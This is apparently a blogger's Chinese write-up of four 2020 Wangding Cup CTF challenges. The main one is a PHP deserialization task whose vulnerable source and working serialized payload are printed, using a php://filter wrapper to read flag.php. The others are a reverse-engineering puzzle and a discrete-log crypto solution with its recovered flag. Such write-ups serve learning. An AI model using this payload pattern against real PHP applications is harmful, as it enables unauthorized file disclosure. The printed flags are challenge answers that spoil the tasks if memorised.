zoukankan      html  css  js  c++  java
  • 2020 网鼎杯wp

    2020 网鼎杯WP

    • 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录

    AreUSerialz

    知识点:反序列化

    • 打开链接直接给出源码
    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();   
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();       
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    
    • 这里首先就是要满足payload的字符的ASCII32125之间,其次就是要绕过构造函数和析构函数
    • 其中构造函数在一开始就会被执行,而其中又会执行process函数
    • process函数中只有执行到read函数时才能读取文件,而要执行read函数则必须使op=2,这里可以通过加空格绕过
    • 接下来就是对于protected在反序列化时,要加上0的前缀
    • 此外在PHP5最新的CVS中,新的序列化方式叫做escaped binary string方式,这是相对与普通那种non-escaped binary string方式来说的:string型数据(字符串)新的序列化格式为:S:"<length>":"<value>";其中<length>是源字符串的长度,而非<value>的长度。<length>是非负整数,数字前可以带有正号(+)<value>为经过转义之后的字符串。它的转义编码很简单,对于ASCII码小于128的字符(但不包括),按照单个字节写入(与s标识的相同),对于128~255的字符和字符,则将其ASCII码值转化为16进制编码的字符串,以作为开头,后面两个字节分别是这个字符的16进制编码,顺序按照由高位到低位排列,也就是第8-5位所对应的16进制数字字符(abcdef这几个字母是小写)作为第一个字节,第4-1位作为第二个字节。依次编码下来,得到的就是<value>的内容了。
    • 所以对于普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";而序列化的大S则对应的是加上16进制,如S:2:"0a0";
    • 所以这里最终的payload如下:
    <?php
    class FileHandler {
    
        protected $op=" 2";
        protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
        protected $content= "Hello World";
    
    }
    $a=new FileHandler();
    echo $b=serialize($a);
    
    • O:11:"FileHandler":3:{s:5:"0*0op";s:2:" 2";s:11:"0*0filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"0*0content";s:11:"Hello World";}

    boom

    • 无脑计算题,level-1md5直接在线查找一下,发现时en5oylevel-2的方程组用sympy解一下或者直接手算,level-3稍微有一些坑,首先用sympy解出x=89127561直接回车后会闪退,这里可以用OD动调一下就可抓到flag

    you raise me up

    知识点:Pohlig-Hellman,离散对数求解

    • 直接用sage解即可
    sage: n = 2 ** 512
    sage: m = 3911907091245274289594896625652740393183059521729368594038550795814027
    ....: 70986890308469084735451207885386318986881041563704825943945069343345307381
    ....: 099559075
    sage: c = 6665851394203214245856789450723658632520816791621796775909766895233000
    ....: 23402364287878602564495379799537321130848560539702412318008592411761080248
    ....: 5972584499
    sage: discrete_log(c,mod(m,n))
    56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
    
    • 最后直接在python中解一下即可
    >>> long_to_bytes(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
    b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'
    

    签到题

    • emmmmmmmm,这个充个数,就不讲了
  • 相关阅读:
    环境部署(二):Linux下安装jenkins
    环境部署(一):Linux下安装JDK
    jenkins简单安装及配置(Windows环境)
    python相关资料链接
    性能测试相关资料链接
    管理篇:测试Leader应该做哪些事
    进阶篇:软件测试工程师的岗位职责
    基础篇:如何做一名专业的软件测试工程师
    python:面向对象编程之Zope.interface安装使用
    Django:Python3.6.2+Django2.0配置MySQL
  • 原文地址:https://www.cnblogs.com/Konmu/p/12865155.html
Copyright © 2011-2022 走看看